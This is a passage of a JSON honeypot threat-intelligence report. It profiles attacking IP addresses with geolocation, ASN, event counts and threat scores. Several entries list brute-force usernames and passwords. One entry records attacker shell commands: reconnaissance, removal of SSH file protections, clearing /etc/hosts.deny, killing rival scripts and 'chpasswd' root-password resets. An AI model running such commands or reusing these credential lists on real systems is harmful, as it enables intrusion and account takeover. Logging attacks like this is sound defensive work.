        "first_seen_30d": "2026-05-12T14:13:46.340000+00:00",
        "last_seen_30d": "2026-05-12T14:15:03.449000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "131.72.31.22": {
      "attack_count": 2,
      "first_seen": "2026-05-04T11:48:54.717Z",
      "last_seen": "2026-05-04T11:49:07.490Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Campana",
      "asn": 52339,
      "as_org": "Lima Video Cable S.A. Cabletel",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T11:48:54.717000+00:00",
        "last_seen_30d": "2026-05-04T11:50:16.389000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "167.56.178.17": {
      "attack_count": 2,
      "first_seen": "2026-05-21T20:53:07.106Z",
      "last_seen": "2026-05-21T20:53:19.780Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Montevideo",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T20:53:07.106000+00:00",
        "last_seen_30d": "2026-05-21T20:54:28.078000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "167.58.137.243": {
      "attack_count": 2,
      "first_seen": "2026-05-04T22:43:42.322Z",
      "last_seen": "2026-05-04T22:43:54.951Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Montevideo",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T22:43:42.322000+00:00",
        "last_seen_30d": "2026-05-04T22:45:03.705000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.244.169.114": {
      "attack_count": 2,
      "first_seen": "2026-05-15T04:19:05.419Z",
      "last_seen": "2026-05-15T04:19:17.925Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Uriangato",
      "asn": 13999,
      "as_org": "Mega Cable, S.A. de C.V.",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T04:19:05.419000+00:00",
        "last_seen_30d": "2026-05-15T04:20:21.524000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.152.73.175": {
      "attack_count": 2,
      "first_seen": "2026-05-05T05:23:14.577Z",
      "last_seen": "2026-05-05T05:23:28.378Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T05:23:14.577000+00:00",
        "last_seen_30d": "2026-05-05T05:24:30.076000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.8.166.123": {
      "attack_count": 2,
      "first_seen": "2026-05-04T12:37:45.214Z",
      "last_seen": "2026-05-04T12:37:58.198Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 264628,
      "as_org": "CORPORACION FIBEX TELECOM, C.A.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T12:37:45.214000+00:00",
        "last_seen_30d": "2026-05-04T12:39:50.331000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "201.217.227.35": {
      "attack_count": 2,
      "first_seen": "2026-05-17T16:42:14.949Z",
      "last_seen": "2026-05-17T16:42:29.074Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Formosa",
      "asn": 28015,
      "as_org": "MERCO COMUNICACIONES",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T16:42:14.949000+00:00",
        "last_seen_30d": "2026-05-17T16:43:38.782000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "206.167.33.157": {
      "attack_count": 2,
      "first_seen": "2026-05-24T05:08:12.590Z",
      "last_seen": "2026-05-24T05:10:12.597Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Oman",
      "country_code": "OM",
      "city": "Muscat",
      "asn": 204170,
      "as_org": "Awaser Oman LLC",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T05:08:12.590000+00:00",
        "last_seen_30d": "2026-05-24T05:20:15.527000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "218.74.7.197": {
      "attack_count": 2,
      "first_seen": "2026-05-04T01:33:02.781Z",
      "last_seen": "2026-05-04T01:33:15.903Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T01:33:02.781000+00:00",
        "last_seen_30d": "2026-05-04T01:34:19.687000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.61.136.242": {
      "attack_count": 2,
      "first_seen": "2026-05-26T16:56:27.819Z",
      "last_seen": "2026-05-26T16:56:40.741Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "La Guaira",
      "asn": 272122,
      "as_org": "TELECOMUNICACIONES G-NETWORK, C.A.",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T16:56:27.819000+00:00",
        "last_seen_30d": "2026-05-26T16:57:42.094000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.7.1.5": {
      "attack_count": 2,
      "first_seen": "2026-05-09T11:40:55.253Z",
      "last_seen": "2026-05-09T11:41:07.882Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Maracaibo",
      "asn": 271899,
      "as_org": "GIGAPOP, C.A.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T11:40:55.253000+00:00",
        "last_seen_30d": "2026-05-09T11:42:09.356000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.242.160.87": {
      "attack_count": 2,
      "first_seen": "2026-05-06T09:00:37.815Z",
      "last_seen": "2026-05-06T09:00:51.758Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Cape Town",
      "asn": 37049,
      "as_org": "South African Digital Villages",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T09:00:37.815000+00:00",
        "last_seen_30d": "2026-05-06T09:01:56.257000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.236.141.254": {
      "attack_count": 2,
      "first_seen": "2026-05-12T20:10:53.325Z",
      "last_seen": "2026-05-12T20:11:24.083Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T20:10:53.325000+00:00",
        "last_seen_30d": "2026-05-12T20:12:28.255000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "58.47.19.79": {
      "attack_count": 2,
      "first_seen": "2026-05-23T11:18:25.489Z",
      "last_seen": "2026-05-23T11:18:53.861Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T11:18:25.489000+00:00",
        "last_seen_30d": "2026-05-23T11:19:57.036000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "60.176.216.58": {
      "attack_count": 2,
      "first_seen": "2026-05-09T15:18:44.605Z",
      "last_seen": "2026-05-09T15:18:57.830Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T15:18:44.605000+00:00",
        "last_seen_30d": "2026-05-09T15:20:02.674000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "86.98.187.169": {
      "attack_count": 2,
      "first_seen": "2026-05-25T20:31:22.191Z",
      "last_seen": "2026-05-25T20:31:53.624Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Dubai",
      "asn": 5384,
      "as_org": "Emirates Telecommunications Group Company (etisalat Group) Pjsc",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T20:31:22.191000+00:00",
        "last_seen_30d": "2026-05-25T20:32:57.726000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "91.231.89.151": {
      "attack_count": 2,
      "first_seen": "2026-05-08T23:55:15.584Z",
      "last_seen": "2026-05-08T23:55:25.925Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 72.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.4,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 88,
        "days_active_30d": 28,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T08:35:28+00:00",
        "last_seen_30d": "2026-05-29T17:10:48.683000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "Honeytrap": 32,
        "Cowrie": 2
      }
    },
    "93.186.72.93": {
      "attack_count": 2,
      "first_seen": "2026-05-05T00:10:48.027Z",
      "last_seen": "2026-05-05T00:11:00.823Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Serbia",
      "country_code": "RS",
      "city": "Belgrade",
      "asn": 9125,
      "as_org": "Drustvo za telekomunikacije Orion telekom doo Beograd-Zemun",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:10:48.027000+00:00",
        "last_seen_30d": "2026-05-05T00:12:08.078000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "94.59.179.22": {
      "attack_count": 2,
      "first_seen": "2026-05-03T13:03:09.384Z",
      "last_seen": "2026-05-03T13:03:23.406Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Abu Dhabi",
      "asn": 5384,
      "as_org": "Emirates Telecommunications Group Company (etisalat Group) Pjsc",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T13:03:09.384000+00:00",
        "last_seen_30d": "2026-05-03T13:04:27.721000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.156.87.254": {
      "attack_count": 13740,
      "first_seen": "2026-05-04T03:12:15.032Z",
      "last_seen": "2026-05-17T19:57:02.336Z",
      "sessions": 2744,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "admin",
        "ubuntu",
        "deploy",
        "test",
        "user1",
        "minecraft",
        "postgres",
        "steam",
        "oracle",
        "frappe",
        "git",
        "hadoop",
        "app",
        "dmdba",
        "es",
        "ftpuser",
        "guest",
        "mysql"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1",
        "password",
        "1234",
        "12345",
        "12345678",
        "1qaz@WSX",
        "123456789",
        "abc123",
        "111",
        "1111",
        "123123",
        "Aa123456",
        "admin",
        "admin123",
        "qwe123",
        "test123",
        "******",
        "111111"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 28.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 19273,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T03:12:03.974000+00:00",
        "last_seen_30d": "2026-05-17T19:58:05.592000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 13740,
        "Suricata": 5533
      }
    },
    "83.168.110.83": {
      "attack_count": 1916,
      "first_seen": "2026-05-30T07:24:05.827Z",
      "last_seen": "2026-05-30T09:08:50.816Z",
      "sessions": 382,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "deploy",
        "ubuntu",
        "postgres",
        "test",
        "user1",
        "git",
        "hadoop",
        "minecraft",
        "mysql",
        "oracle",
        "steam",
        "debian",
        "dev",
        "elasticsearch",
        "es",
        "frappe",
        "ftp"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "1",
        "1234",
        "12345",
        "12345678",
        "123456789",
        "1qaz@WSX",
        "admin123",
        "111111",
        "Aa123456",
        "Admin@123",
        "P@ssw0rd",
        "admin",
        "frappe",
        "rock",
        "runner",
        "test",
        "test123"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.connect",
        "cowrie.session.closed",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": null,
      "asn": 202520,
      "as_org": "SkyPass Solutions Sp. z.o.o.",
      "threat_score": 41.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 2709,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T07:24:05.827000+00:00",
        "last_seen_30d": "2026-05-30T09:09:52.907000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1916,
        "Suricata": 793
      }
    },
    "193.46.255.86": {
      "attack_count": 981,
      "first_seen": "2026-05-02T05:03:05.465Z",
      "last_seen": "2026-05-29T20:15:28.242Z",
      "sessions": 133,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "ubnt",
        "",
        "squid",
        "1234",
        "telecomadmin",
        "default",
        "support",
        "guest",
        "ftp",
        "user",
        "ftpuser",
        "username",
        "telnet",
        "test",
        "magdalena",
        "moth3r",
        "pritchard",
        "vpn"
      ],
      "passwords_attempted": [
        "abc123",
        "abcd1234",
        "abcd123",
        "",
        "1234",
        "123456",
        "admin",
        "abc1234",
        "password",
        "12345",
        "ubnt",
        "12345678",
        "88888888",
        "Abcd1234",
        "admin1",
        "admin123",
        "admin@123",
        "default",
        "ftp",
        "squid"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 65.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 24.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 1400,
        "days_active_30d": 29,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T05:03:05.465000+00:00",
        "last_seen_30d": "2026-05-30T04:37:44.805000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 981,
        "Suricata": 419
      }
    },
    "103.82.21.8": {
      "attack_count": 918,
      "first_seen": "2026-05-16T16:06:14.004Z",
      "last_seen": "2026-05-30T20:11:15.350Z",
      "sessions": 90,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "ubuntu",
        "dong",
        "p",
        "s1",
        "sysadmin",
        "testuser",
        "administrator",
        "alan",
        "art",
        "db2fenc1",
        "deployer",
        "erpnext",
        "gabriel",
        "gl",
        "guest",
        "harshit",
        "hotline"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "!",
        "#EDC4rfv",
        "0708228AsBs!",
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789**",
        "123456@Abc",
        "123456abc",
        "1234qwer",
        "123@123",
        "1q2w3e4r!Q@W#E$R",
        "1qaz2wsx3edc",
        "20192019",
        "@1qaz2wsx"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1234qwer\\nf5gkECA8aOat\\nf5gkECA8aOat\\n\"|passwd",
        "echo \"dong\\ncfGCEeSYcvBF\\ncfGCEeSYcvBF\\n\"|passwd",
        "echo \"p\\nt6xl8At929eM\\nt6xl8At929eM\\n\"|passwd",
        "echo \"root:4PVcstiVjhXs\"|chpasswd|bash",
        "echo \"root:7CCCkDOWyG4a\"|chpasswd|bash",
        "echo \"root:ak4H0ma2IqBZ\"|chpasswd|bash",
        "echo \"root:bb3rAvB7G5f6\"|chpasswd|bash",
        "echo \"s1\\nLtzgxQUAThpM\\nLtzgxQUAThpM\\n\"|passwd",
        "echo -e \"1234qwer\\nf5gkECA8aOat\\nf5gkECA8aOat\"|passwd|bash",
        "echo -e \"dong\\ncfGCEeSYcvBF\\ncfGCEeSYcvBF\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135905,
      "as_org": "VIETNAM POSTS AND TELECOMMUNICATIONS GROUP",
      "threat_score": 52.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 1125,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T16:06:14.004000+00:00",
        "last_seen_30d": "2026-05-30T20:12:23.153000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 918,
        "Suricata": 207
      }
    },
    "69.55.59.188": {
      "attack_count": 612,
      "first_seen": "2026-05-09T13:52:25.306Z",
      "last_seen": "2026-05-09T22:13:14.151Z",
      "sessions": 306,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 1279,
        "days_active_30d": 3,
